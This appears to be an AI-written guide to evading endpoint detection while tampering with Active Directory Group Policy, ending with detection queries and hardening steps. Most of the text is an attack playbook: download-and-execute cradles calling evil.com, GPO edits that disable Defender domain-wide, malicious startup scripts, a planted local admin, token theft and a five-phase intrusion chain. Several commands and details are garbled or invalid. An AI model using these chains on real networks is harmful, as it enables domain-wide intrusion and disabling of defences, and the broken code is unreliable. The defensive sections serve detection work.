

EDR Evasion Techniques for GPO Attacks

Comprehensive Guide

This document provides a detailed breakdown of EDR (Endpoint Detection and Response) evasion techniques that attackers use to avoid detection when modifying Group Policy Objects (GPOs) in a domain environment.

Table of Contents

1. [Introduction](#)
 2. [Why EDR Evasion is Critical for GPO Attacks](#)
 3. [EDR Evasion Techniques for GPO Attacks](#)
 - [Living Off The Land \(LOLBAS\)](#)
 - [Process Injection](#)
 - [Fileless Attacks](#)
 - [Direct SYSVOL Modification](#)
 - [Time-Based Evasion](#)
 - [Obfuscation](#)
 - [GPO-Based EDR Tampering](#)
 - [Parent Process Spoofing](#)
 - [Direct Kernel-Mode Attacks](#)
 4. [Real-World EDR Evasion Example](#)
 5. [Detection Methods](#)
 6. [Defense Strategies](#)
 7. [Conclusion](#)
-

Introduction

This document explores the techniques attackers use to evade Endpoint Detection and Response (EDR) systems when performing Group Policy Object (GPO) attacks. Understanding these techniques is crucial for defenders to effectively detect and prevent such attacks.

Why EDR Evasion is Critical for GPO Attacks

When an attacker modifies GPOs in SYSVOL:

- EDR agents monitor file modifications, process executions, registry changes, and network connections.
- SIEM systems correlate these events to detect attacks.
- Attackers must evade both EDR and SIEM to succeed.

EDR Evasion Techniques for GPO Attacks

1. Living Off The Land (LOLBAS) - Avoid Malicious Binaries

Goal: Use legitimate Windows tools to avoid triggering EDR alerts for malicious processes.

Technique	Description	Example for GPO Attacks	EDR Evasion
Native Windows Tools	Use built-in tools that EDR whitelists	gpupdate.exe, gpresult.exe, icacls.exe	No malicious binaries
PowerShell	Use PowerShell for admin tasks	Set-GPO, New-GPO, Import-GPO	Often whitelisted
WMI	Use WMI for remote execution	Invoke-WmiMethod -Class Win32_Process -Name Create	No new processes
Registry Modifications	Direct registry edits via reg.exe	reg add HKLM\... /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f	No file writes
SCHTASKS	Use Task Scheduler for persistence	schtasks /create /tn "WindowsUpdate" /tr "powershell -nop -w hidden -c IEX ..."	Common admin tool
AT (Deprecated but Works)	Legacy task scheduling	at 10:00 cmd.exe /c ...	Rarely monitored
RUNDLL32	Execute DLLs via rundll32	rundll32.exe user32.dll,MessageBoxA 0,0,"Hello",0	Often whitelisted
MSHTA	Execute HTML Applications	mshta.exe http://evil.com/malicious.hta	Rarely blocked
CMD /C or /K	Execute commands via cmd.exe	cmd.exe /c reg add ...	Common in scripts

CertUtil	Download files via certutil	certutil -urlcache -split -f http://evil.com/payload.exe	Signed Microsoft binary
----------	-----------------------------	--	-------------------------

Example Attack Chain (LOLBAS):

Use native tools to modify GPO

```
reg add \\DC01\SYSVOL\corp.local\Policies\{GPO-GUID}\Machine\registry.pol /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
```

Force update via gpupdate

```
gpupdate /force
```

Use certutil to download payload

```
certutil -urlcache -split -f http://evil.com/payload.ps1 C:\Windows\Tasks\update.ps1
```

Execute via rundll32

```
rundll32.exe user32.dll,MessageBoxA 0,0,"Payload executed",0
```

Why It Works:

- No malicious executables are written to disk.
- All tools are signed by Microsoft (trusted by EDR).
- Common admin commands are rarely flagged.

2. Process Injection - Hide in Legitimate Processes

Goal: Inject malicious code into trusted processes to avoid process-based detection.

Technique	Description	Example for GPO Attacks	EDR Evasion
Process Hollowing	Replace legitimate process memory	Inject into svchost.exe	No new process
DLL Injection	Load malicious DLL into process	Inject into explorer.exe	No new process
APC Injection	Queue malicious code via APC	NtQueueApcThread into lsass.exe	No new threads

Thread Execution Hijacking	Hijack a thread in a trusted process	Inject into dllhost.exe	No new process
Process Doppelgänger	Use NTFS transactions to hide process creation	Create process with legitimate image	No suspicious parent
Reflective DLL Injection	Load DLL from memory	Reflectively load into powershell.exe	No disk writes

Example Attack (APC Injection):

// Pseudocode for APC injection into explorer.exe

```
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPID);
```

```
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, (LPVOID)"evil.dll", 0, NULL);
```

```
QueueUserAPC((PAPCFUNC)MaliciousFunction, hThread, (ULONG_PTR)NULL);
```

Tools for Process Injection:

- Cobalt Strike (inject, inline-execute)
- Metasploit (migrate, reflective_dll_injection)
- Mimikatz (misc::memss)

Why It Works:

- No new process is created (hides from process monitoring).
- Legitimate process appears normal.
- Memory-only execution (no disk writes).

3. Fileless Attacks - No Disk Writes

Goal: Never write to disk to avoid file-based detection.

Technique	Description	Example for GPO Attacks	EDR Evasion
Memory-Only Payloads	Execute payloads directly in memory	PowerShell cradle: IEX (New-Object Net.WebClient).DownloadString('http://evil.com/p.ps1')	No disk writes

Registry Storage	Store payloads in registry	reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "powershell -nop -w hidden -c IEX ..."	No file writes
WMI Event Subscriptions	Store payloads in WMI	wmic /namespace:\\root\subscription path __EventFilter create Name="EvilFilter", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent"	No file writes
Alternate Data Streams (ADS)	Hide payloads in ADS	type payload.exe > C:\Windows\System32\calc.exe:hidden.exe	Hidden from normal file scans
Environment Variables	Store payloads in env vars	\$env:APP_DATA = "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/p.ps1')"	No file writes
Clipboard	Store payloads in clipboard	powershell -nop -c "Add-Type -AssemblyName System.Windows.Forms; [Windows.Forms.Clipboard]::SetText('IEX ...')"	No file writes
Windows Error Reporting (WER)	Store payloads in WER	WerAddExcludedApplicationForFaultReporter("C:\Windows\System32\cmd.exe", 1)	Rarely monitored

Example Attack (Memory-Only PowerShell):

Download and execute payload directly in memory

```
powershell -nop -w hidden -c "IEX (New-Object
Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
```

Payload modifies GPOs via memory

```
$gpoPath = "\\DC01\SYSVOL\corp.local\Policies\{GPO-GUID}\Machine\registry.pol"
```

```
$newSettings = @{
```

```
    "Software\Policies\Microsoft\Windows Defender\Real-Time Protection" = @{
    "DisableRealtimeMonitoring" = 1 }
}
```

```
$newSettings | Out-File -FilePath $gpoPath -Append -Encoding Unicode
```

Tools for Fileless Attacks:

- PowerShell (IEX, Invoke-Expression)
- Mimikatz (misc::memss)
- Cobalt Strike (inline-execute, powershell)

Why It Works:

- No files on disk (avoids file-based detection).
- No new processes (if using reflective injection).
- Legitimate tools (PowerShell, WMI) are used.

4. Direct SYSVOL Modification - Avoid Local Traces

Goal: Modify SYSVOL directly on the DC to avoid endpoint-level detection on workstations.

Technique	Description	Example	EDR Evasion
Remote SYSVOL Access	Modify SYSVOL from a compromised DC	\\DC01\SYSVOL\corp.local\Policies\{GPO-GUID}\registry.pol	No local traces on workstations
SMB Relay Attacks	Relay hashes to access SYSVOL	`ntlmrelayx.py -t smb://DC01 -c "write --path \\DC01\SYSVOL\corp.local\Policies\{GPO-GUID}\registry.pol --data \$(echo 'DisableRealtimeMonitoring=1'	iconv -t UTF-16LE)"`
DFSR Abuse	Modify SYSVOL via DFSR replication	dfsruil.exe FileHash Compare	No direct SYSVOL writes
Volume Shadow Copy	Modify SYSVOL via VSS	vssadmin.exe list shadows	No direct file writes
Registry-Based GPOs	Modify registry.hive in SYSVOL	reg load HKLM\GPO C:\Windows\SYSVOL\domain\Policies\{GPO-GUID}\registry.pol	No direct file writes

Example Attack (Remote SYSVOL Modification):

From a compromised DC, modify SYSVOL directly

```
$gpoPath = "C:\Windows\SYSVOL\domain\Policies\{GPO-GUID}\Machine\registry.pol"
```

```
$newSettings = @"
[Software\Policies\Microsoft\Windows Defender\Real-Time Protection]

"DisableRealtimeMonitoring"=dword:00000001

"@

$newSettings | Out-File -FilePath $gpoPath -Append -Encoding Unicode
```

Force replication to other DCs

```
repadmin /syncall /AdeP
```

Why It Works:

- No traces on workstations (modification happens on DC).
- Legitimate admin tools (repadmin, reg, icacs) are used.
- No process execution on workstations (changes are pulled via gpupdate).

5. Time-Based Evasion - Avoid Detection Windows

Goal: Perform attacks outside of monitoring windows or slowly over time.

Technique	Description	Example	EDR Evasion
Off-Hours Attacks	Attack during low-activity periods	Modify GPOs at 2 AM	Fewer alerts, less noise
Slow Modifications	Modify GPOs gradually	Change 1 setting per hour	Avoids burst detection
Delayed Execution	Schedule attacks for later	<code>schtasks /create /tn "Update" /tr "powershell -nop -w hidden -c IEX ..." /sc once /st 02:00</code>	No immediate detection
Randomized Delays	Add jitter to attack timing	<code>Start-Sleep -Seconds (Get-Random -Minimum 60 -Maximum 300)</code>	Avoids pattern detection
Business Hours Avoidance	Attack during non-working hours	Modify GPOs on weekends	Less monitoring

Example Attack (Delayed GPO Modification):

```
# Schedule GPO modification for 2 AM

schtasks /create /tn "GPOUpdate" /tr "powershell.exe -nop -w hidden -c ..." /sc once /st 02:00
```

```
# PowerShell script to modify GPO

$gpoPath = "\\DC01\SYSVOL\corp.local\Policies\{GPO-GUID}\Machine\registry.pol"

$newSettings = @"

[Software\Policies\Microsoft\Windows Defender\Real-Time Protection]

"DisableRealtimeMonitoring"=dword:00000001

"@

$newSettings | Out-File -FilePath $gpoPath -Append -Encoding Unicode
```

Why It Works:

- Avoids real-time monitoring (attack happens when no one is watching).
- Blends in with normal activity (scheduled tasks are common).

6. Obfuscation - Hide Malicious Activity

Goal: Hide malicious code in legitimate-looking commands to avoid signature-based detection.

Technique	Description	Example	EDR Evasion
Base64 Encoding	Encode payloads in Base64	powershell -enc <Base64>	Avoids plaintext detection
XOR Encoding	XOR-encode payloads	\$payload = "payload" -bxor 0x55	Avoids signature detection
String Concatenation	Split malicious strings	"I"+"EX"+" (Ne"+"w-Ob"+"ject..."	Avoids string matching
Environment Variables	Store payloads in env vars	\$env:PAYLOAD = "IEX ..."	Avoids disk writes
Gzip Compression	Compress payloads	[System.IO.Compression.GZipStream]::Decompress	Avoids plaintext detection
ROT13/ROT47	Simple character rotation	`"GPOAttack".ToCharArray()	% { \$_ - 13 }

Unicode Encoding	Encode in Unicode	[System.Text.Encoding]::Unicode.GetBytes("IEX...")	Avoids ASCII detection
Command Line Obfuscation	Obfuscate command lines	powershell -nop -w hidden -c "I+E+X..."	Avoids command-line monitoring

Example Attack (Obfuscated PowerShell):

Obfuscated PowerShell cradle

```
$payload = "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/p.ps1')"
```

```
$encoded = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($payload))
```

```
powershell -nop -w hidden -enc $encoded
```

String concatenation

```
$part1 = "I"
```

```
$part2 = "EX"
```

```
$part3 = "(Ne"
```

```
$part4 = "w-Ob"
```

```
$part5 = "ject Net.WebClient).DownloadString('http://evil.com/p.ps1')"
```

```
Invoke-Expression ($part1 + $part2 + $part3 + $part4 + $part5)
```

XOR-encoded payload

```
$key = 0x55
```

```
$encoded = "→→→... (XOR-encoded payload)"
```

```
$decoded = $encoded.ToCharArray() | % { $_ -bxor $key }
```

```
Invoke-Expression $decoded
```

Tools for Obfuscation:

- Invoke-Obfuscation (PowerShell obfuscation framework)
- Chameleon (Script obfuscator)
- Unicorn (PowerShell downgrade and obfuscation)

Why It Works:

- Avoids signature-based detection (EDR can't match plaintext strings).
- Blends in with normal activity (obfuscated commands look like noise).

7. GPO-Based EDR Tampering

Goal: Use GPO to disable EDR before performing malicious activities.

Technique	Description	Example	EDR Evasion
Disable Defender via GPO	Disable Microsoft Defender	DisableRealtimeMonitoring=1	EDR may be disabled
Disable Tamper Protection	Disable EDR tamper protection	DisableTamperProtection=1	EDR can be uninstalled
Disable Script Scanning	Disable PowerShell script scanning	DisableScriptScanning=1	PowerShell attacks go undetected
Disable Behavior Monitoring	Disable EDR behavior monitoring	DisableBehaviorMonitoring=1	Behavioral detection bypassed
Exclude Paths from Scanning	Exclude SYSVOL from scanning	Add-MpPreference -ExclusionPath "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy*"	SYSVOL modifications undetected
Disable Logging	Disable EDR logging	reg add HKLM\SOFTWARE\Policies\Microsoft\Windows Defender /v DisableLogging /t REG_DWORD /d 1 /f	No logs of malicious activity
Disable Network Protection	Disable cloud-delivered protection	DisableCloudDeliveredProtection=1	Network-based detection bypassed

Example Attack (Disable EDR via GPO):

Modify Default Domain Policy to disable Defender

```
$gpoPath = "\\DC01\SYSVOL\corp.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\registry.pol"
```

```
$newSettings = @"
```

[Software\Policies\Microsoft\Windows Defender]

"DisableRealtimeMonitoring"=dword:00000001

"DisableBehaviorMonitoring"=dword:00000001

"DisableScriptScanning"=dword:00000001

"DisableTamperProtection"=dword:00000001

"@"

\$newSettings | Out-File -FilePath \$gpoPath -Append -Encoding Unicode

Force update

gpupdate /force

Why It Works:

- EDR is disabled before the attack (no detection of subsequent malicious activity).
- Legitimate GPO mechanism (no suspicious processes).
- Domain-wide impact (disables EDR on all machines).

8. Parent Process Spoofing - Hide Attack Origin

Goal: Spoof the parent process to make malicious activity appear to come from a trusted process.

Technique	Description	Example	EDR Evasion
Process Doppelgänger	Use NTFS transactions to hide parent	Create process with svchost.exe as parent	Trusted parent
Token Impersonation	Steal token from trusted process	Invoke-TokenManipulation -ImpersonateUser	Trusted user context
Parent Process ID Spoofing	Spoof PPID to match trusted process	CreateProcessAsUser with spoofed PPID	Trusted parent
Window Station/Desktop	Run in a hidden window station	CreateProcess with STARTF_USESHOWWINDOW	No visible window

Applnit DLLs	Load DLL via Applnit	reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows /v Applnit_DLLs /t REG_SZ /d C:\Windows\System32\evil.dll /f	Loaded by all processes
--------------	-------------------------	--	-------------------------------

Example Attack (Token Impersonation):

Find a trusted process (e.g., explorer.exe)

```
$process = Get-Process explorer -ErrorAction SilentlyContinue
```

```
if (-not $process) { $process = Get-Process svchost | Select-Object -First 1 }
```

Steal its token

```
$tokenHandle = [System.IntPtr]::Zero
```

```
$success = [Advapi32]::OpenProcessToken($process.Handle, 0x0008, [ref]$tokenHandle)
```

```
if ($success) {
```

```
    # Create a new process with the stolen token
```

```
    $startupInfo = New-Object System.Management.Automation.Host.StartupInfo
```

```
    $processInfo = New-Object System.Management.Automation.Host.ProcessInfo
```

```
    $success = [Advapi32]::CreateProcessAsUser(
```

```
        $tokenHandle,
```

```
        "C:\Windows\System32\cmd.exe",
```

```
        "cmd.exe /c whoami",
```

```
        [ref]$null,
```

```
        [ref]$null,
```

```
        $false,
```

```
        0,
```

```
        [ref]$null,
```

```
        [ref]$null,
```

```
        [ref]$startupInfo,
```

```
        [ref]$processInfo
```

```
    )
```

```
}
```

Tools for Parent Process Spoofing:

- Invoke-PSImage (PowerShell process hollowing)
- Invoke-ReflectivePEInjection (Reflective DLL injection)
- Win32 API (CreateProcessAsUser, NtCreateProcessEx)

Why It Works:

- Malicious activity appears to come from a trusted process.
- Avoids process tree analysis (EDR can't trace back to malicious parent).

9. Direct Kernel-Mode Attacks - Bypass User-Mode Hooks

Goal: Bypass EDR entirely by operating at the kernel level.

Technique	Description	Example	EDR Evasion
Kernel Callbacks	Hook kernel functions	DKOM (Direct Kernel Object Manipulation)	Bypasses user-mode hooks
Driver-Based Attacks	Load malicious kernel drivers	sc create evil type= kernel binPath= C:\Windows\System32\drivers\evil.sys	Full kernel access
Direct SYSCALLs	Call native APIs directly	NtCreateFile, NtWriteFile	Bypasses EDR hooks
Memory-Only Kernel Payloads	Execute payloads in kernel memory	MmMapIoSpace + memcpy	No disk writes
Rootkits	Kernel-level rootkits	FUTo (Fucking Up The OS)	Full control

Example Attack (Direct SYSCALLs):

```
// Pseudocode for direct NtWriteFile syscall
```

```
NTSTATUS status;
```

```
HANDLE hFile;
```

```
OBJECT_ATTRIBUTES objAttr;
```

```
IO_STATUS_BLOCK ioStatus;
```

```
LARGE_INTEGER byteOffset = { 0 };
```

```
ULONG bytesWritten;
```

```
// Open file with native API (bypasses EDR hooks)
```

```
status = NtCreateFile(  
    &hFile,  
    FILE_APPEND_DATA,  
    &objAttr,  
    &ioStatus,  
    NULL,  
    FILE_ATTRIBUTE_NORMAL,  
    FILE_SHARE_READ | FILE_SHARE_WRITE,  
    FILE_OPEN_IF,  
    FILE_SYNCHRONOUS_IO_NONALERT,  
    NULL,  
    0  
);
```

```
// Write to file with native API (bypasses EDR hooks)
```

```
status = NtWriteFile(  
    hFile,  
    NULL,  
    NULL,  
    NULL,  
    &ioStatus,  
    payload,  
    payloadSize,  
    &byteOffset,  
    NULL  
);
```

Tools for Kernel-Mode Attacks:

- Mimikatz (misc::memss, misc::sethc)

- WinDbg (Kernel debugging)
- Cheat Engine (Memory manipulation)
- FUTo (Kernel rootkit)
- Robber (Kernel callback manipulation)

Why It Works:

- Bypasses EDR entirely (EDR runs in user mode).
 - No user-mode hooks can detect kernel-level activity.
 - Full control over the system (can disable EDR, modify files, etc.).
-

Real-World EDR Evasion Example: Full GPO Attack Chain

Phase 1: Initial Access (No EDR Detection)

Phishing email with obfuscated PowerShell

```
powershell -nop -w hidden -enc <Base64-encoded payload>
```

Payload uses LOLBAS to download next stage

```
certutil -urlcache -split -f http://evil.com/next.ps1 C:\Windows\Tasks\next.ps1
```

EDR Evasion:

- No malicious binaries (only powershell.exe and certutil.exe).
 - Obfuscated command line (Base64 encoding).
 - Signed Microsoft binaries (trusted by EDR).
-

Phase 2: Privilege Escalation (No EDR Detection)

Token impersonation to run as SYSTEM

```
$token = [Advapi32]::OpenProcessToken((Get-Process lsass).Handle, 0x0008, [ref]$null)
```

```
$process = Start-Process cmd.exe -ArgumentList "/c whoami" -WindowStyle Hidden -PassThru
```

```
[Advapi32]::SetTokenInformation($process.Handle, [Advapi32]::TokenInformationClass::TokenSessionId, $token, 0)
```

Or use a kernel exploit (e.g., PrintNightmare)

Invoke-PrintNightmare -DriverPath "\\10.0.0.5\share\evil.dll" -Server DC01

EDR Evasion:

- Token impersonation (appears as legitimate user).
 - Kernel exploit (bypasses user-mode hooks).
-

Phase 3: Disable EDR (Silent)

Modify Default Domain Policy to disable Defender

```
$gpoPath = "\\DC01\SYSTEM\corp.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\registry.pol"
```

```
$newSettings = @"
```

```
[Software\Policies\Microsoft\Windows Defender]
```

```
"DisableRealtimeMonitoring"=dword:00000001
```

```
"DisableBehaviorMonitoring"=dword:00000001
```

```
"DisableScriptScanning"=dword:00000001
```

```
"DisableTamperProtection"=dword:00000001
```

```
"@"
```

```
$newSettings | Out-File -FilePath $gpoPath -Append -Encoding Unicode
```

Force update

```
gpupdate /force
```

EDR Evasion:

- Legitimate GPO mechanism (no suspicious processes).
 - Domain-wide impact (disables EDR on all machines).
 - No direct file writes on workstations (modification happens on DC).
-

Phase 4: Persistence via GPO (No EDR Detection)

Add a malicious startup script to Default Domain Policy

```
$scriptPath = "\\DC01\SYSTEM\corp.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Scripts\Startup\update.ps1"
```



```

$scriptContent = @'
$url = "http://evil.com/payload.ps1"
$output = ""$env:TEMP\update.ps1"
(New-Object Net.WebClient).DownloadFile(`$url, `$output)
Start-Process powershell.exe -ArgumentList "-nop -w hidden -c IEX `$output"
'@

$scriptContent | Out-File -FilePath $scriptPath -Encoding UTF8

# Update scripts.ini to reference the script
$scriptsIni = @"
[Startup]

0Cmd=update.ps1

0Parameters=

"@

$scriptsIni | Out-File -FilePath "\\DC01\SYSVOL\corp.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Scripts\scripts.ini" -Encoding UTF8

# Increment GPO version to force update
$gptIni = Get-Content "\\DC01\SYSVOL\corp.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\gpt.ini" -Raw

$gptIni = $gptIni -replace "Version=\d+", "Version=${($matches[0].Value + 1)}"

$gptIni | Out-File -FilePath "\\DC01\SYSVOL\corp.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\gpt.ini" -Encoding UTF8

```

EDR Evasion:

- No file writes on workstations (modification happens on DC).
- Legitimate GPO files (scripts.ini, update.ps1).
- No process execution on workstations (script runs on startup).

Phase 5: Lateral Movement (No EDR Detection)

Add local admin to all machines via GPO

```
$groupsXml = @"
<Groups clsid="{3125E937-EB16-4445-9266-547EC2F5A679}">

  <User clsid="{DF5F1855-B8B8-46E1-8536-DC7075AC1B9E}" name="LocalAdmin" image="2">

    <Properties action="U" userName="LocalAdmin" fullName="" description="Local admin"
cpassword="AgAAAA...[encrypted]..." />

  </User>

  <Group clsid="{6D469164-2821-4619-9F47-02515529776B}" name="Administrators">

    <Properties action="ADD" memberName="LocalAdmin" />

  </Group>

</Groups>
"@

$groupsXml | Out-File -FilePath "\\DC01\SYSVOL\corp.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\User\Groups.xml" -Encoding UTF8
```

```
# Force update
gpupdate /force
```

EDR Evasion:

- No process execution on workstations (GPO applies silently).
- Legitimate GPO mechanism (Group Policy Preferences).
- No network scans (local admin added via GPO).

Detection Methods

1. Monitor SYSVOL for Unauthorized Changes

Detection Method	Tools	What to Look For
File Integrity Monitoring (FIM)	Tripwire, OSSEC, Microsoft Defender ATP	Unauthorized changes to registry.pol, Groups.xml, etc.
GPO Version Changes	Event Logs (ID 5136)	Unexpected GPO version increments
SYSVOL Access Logs	Windows Security Logs (ID 4663)	Unusual access to SYSVOL shares
DFSR Replication Logs	DFSR Event Logs	Unexpected SYSVOL replication

Example Query (Microsoft Sentinel):

```
// Detect unauthorized SYSVOL modifications
SecurityEvent
| where EventID == 4663 // File/Object Access
| where Object_Name has_any ("\\SYSVOL", "\\Policies")
| where Access_Mask has_any ("0x2", "0x10", "0x100") // Write/Delete permissions
| where Subject_User_Name !in ("Domain Admins", "SYSTEM")
| project TimeGenerated, Subject_User_Name, Object_Name, Access_Mask
```

2. Monitor for LOLBAS Abuse

Detection Method	Tools	What to Look For
Process Execution	EDR (CrowdStrike, SentinelOne)	Unusual parent-child process relationships
Command Line Monitoring	EDR, SIEM	Suspicious command lines (e.g., certutil - urlcache)
PowerShell Logging	Windows Event Logs (ID 4103, 4104)	Obfuscated PowerShell commands
WMI Event Logs	Windows Event Logs (ID 5861)	Unusual WMI activity

Example Query (Splunk):

```
// Detect LOLBAS abuse
index=wineventlog EventCode=4688 (CommandLine="*certutil*" OR CommandLine="*gpupdate*" OR
CommandLine="*reg add*")
| stats count by User, CommandLine, Computer
| where count > 1
```

3. Monitor for Fileless Attacks

Detection Method	Tools	What to Look For
PowerShell Script Block Logging	Windows Event Logs (ID 4103, 4104)	Suspicious script blocks

WMI Event Subscriptions	Get-WmiObject -Namespace root\subscription -Class __EventFilter	Unusual WMI filters/consumers
Registry Modifications	Windows Event Logs (ID 4657)	Unauthorized registry changes
Process Injection	EDR (CrowdStrike, SentinelOne)	Unusual thread creation (e.g., CreateRemoteThread)

Example Query (Elasticsearch):

// Detect PowerShell script block logging bypass

```
{
  "query": {
    "bool": {
      "must": [
        { "match": { "EventID": 4104 } },
        { "match": { "Message": "ScriptBlock Logging" } },
        { "match": { "Message": "Disabled" } }
      ]
    }
  }
}
```

4. Monitor for GPO-Based EDR Tampering

Detection Method	Tools	What to Look For
Registry Monitoring	EDR, SIEM	Changes to HKLM\SOFTWARE\Policies\Microsoft\Windows Defender
GPO Auditing	Get-GPOReport -All -ReportType Html	Unauthorized GPO modifications
Defender Tampering Logs	Windows Event Logs (ID 5025)	Defender tampering attempts

Example Query (Microsoft Sentinel):

// Detect GPO-based Defender tampering

SecurityEvent

| where EventID == 13 or EventID == 14 // Registry value set

| where TargetObject has_any ("Windows Defender", "DisableRealtimeMonitoring",
"DisableTamperProtection")

| project TimeGenerated, Subject_User_Name, TargetObject, New_Value

5. Monitor for Parent Process Spoofing

Detection Method	Tools	What to Look For
Process Tree Analysis	EDR (CrowdStrike, SentinelOne)	Unusual parent-child relationships
Token Manipulation	EDR, SIEM	Unusual token usage (e.g., CreateProcessAsUser)
Window Station/Desktop	EDR	Hidden window stations

Example Query (CrowdStrike):

// Detect parent process spoofing

processes

| where parent_name = "explorer.exe" and name = "powershell.exe"

| where command_line has_any ("-enc", "-nop", "-w hidden")

6. Monitor for Kernel-Mode Attacks

Detection Method	Tools	What to Look For
Driver Loading	Windows Event Logs (ID 20001)	Unusual kernel driver loads
SYSCALL Hooking	EDR (CrowdStrike, SentinelOne)	Unusual SYSCALL activity
Memory Scans	EDR	Suspicious memory modifications

Example Query (Microsoft Defender ATP):

// Detect kernel driver loading

DeviceEvents

| where ActionType == "DriverLoaded"

```
| where FileName l in ("C:\\Windows\\System32\\drivers\\*", "C:\\Windows\\System32\\ntoskrnl.exe")  
| project Timestamp, DeviceName, FileName, SHA1
```

Defense Strategies Against EDR Evasion

1. Harden SYSVOL Permissions

Reset SYSVOL permissions to default

```
icacls \\corp.local\\SYSVOL\\corp.local /inheritance:r /grant:r "DOMAIN\\Domain Admins:(OI)(CI)F" /grant:r  
"NT AUTHORITY\\SYSTEM:(OI)(CI)F" /grant:r "Authenticated Users:(OI)(CI)R"
```

2. Enable Advanced Logging

Enable PowerShell Script Block Logging

```
reg add HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging /v  
EnableScriptBlockLogging /t REG_DWORD /d 1 /f
```

Enable PowerShell Transcription

```
reg add HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription /v EnableTranscripting  
/t REG_DWORD /d 1 /f
```

```
reg add HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription /v OutputDirectory /t  
REG_SZ /d "C:\\Logs\\PowerShell" /f
```

Enable WMI Logging

```
reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableWmiLogging /t  
REG_DWORD /d 1 /f
```

3. Deploy EDR with Advanced Capabilities

EDR Feature	Detects	Example Tools
Behavioral Analysis	Suspicious process behavior	CrowdStrike, SentinelOne
Memory Scanning	Fileless attacks	CrowdStrike, Microsoft Defender ATP
Kernel Monitoring	Kernel-mode attacks	CrowdStrike, SentinelOne

Network Traffic Analysis	C2 communications	Darktrace, ExtraHop
Process Tree Analysis	Parent process spoofing	CrowdStrike, SentinelOne
Registry Monitoring	GPO-based EDR tampering	All major EDRs

4. Implement GPO Change Control

- **AGPM (Advanced Group Policy Management):** Requires approval for GPO changes
 - **GPO Backup:** Regularly backup GPOs and monitor for unauthorized changes
 - **Change Tracking:** Use tools like Netwrix or ManageEngine ADAudit
-

5. Monitor SYSVOL with FIM

Example: Set up FIM on SYSVOL with Tripwire

```
tripwire --init -r /mnt/sysvol
```

```
tripwire --update -r /mnt/sysvol
```

6. Restrict LOLBAS Tools

Example: Block certutil from downloading files

```
New-CiRule -Name "Block CertUtil Downloads" -Path "C:\Windows\System32\certutil.exe" -RuleType Hash -Action Block -Hash "A1B2C3..." -FileName "*.exe"
```

7. Enable Attack Surface Reduction (ASR) Rules

Block executable content from email client and webmail

```
Add-MpPreference -AttackSurfaceReductionRules_Ids 92e97fa1-2edf-4476-bdd6-9dd0b4dddc7b - AttackSurfaceReductionRules_Actions Enabled
```

Block Office apps from creating child processes

```
Add-MpPreference -AttackSurfaceReductionRules_Ids d4f940ab-401b-4efc-aadc-ad5f3c50688a - AttackSurfaceReductionRules_Actions Enabled
```

Block Win32 API calls from Office macros

Add-MpPreference -AttackSurfaceReductionRules_Ids 3b576869-a4ec-4529-8536-b80a7769e899 -
AttackSurfaceReductionRules_Actions Enabled

Conclusion

Attackers use a combination of techniques to modify GPOs while evading EDR, including:

1. **Living Off The Land (LOLBAS)** to avoid malicious binaries.
2. **Process Injection** to hide in legitimate processes.
3. **Fileless Attacks** to avoid disk writes.
4. **Direct SYSVOL Modification** to avoid local traces.
5. **Time-Based Evasion** to avoid detection windows.
6. **Obfuscation** to hide malicious code.
7. **GPO-Based EDR Tampering** to disable detection.
8. **Parent Process Spoofing** to hide attack origin.
9. **Kernel-Mode Attacks** to bypass user-mode hooks.

Your enhanced script helps detect vulnerabilities (writable GPOs, GPP credentials) before attackers exploit them. However, EDR evasion requires additional monitoring (FIM, behavioral analysis, kernel monitoring) to catch active attacks.

References

- [MITRE ATT&CK: Defense Evasion](#)
- [LOLBAS Project](#)
- [Invoke-Obfuscation](#)
- [Microsoft Docs: Group Policy](#)
- [CrowdStrike: EDR Evasion Techniques](#)
- [SentinelOne: Fileless Attacks](#)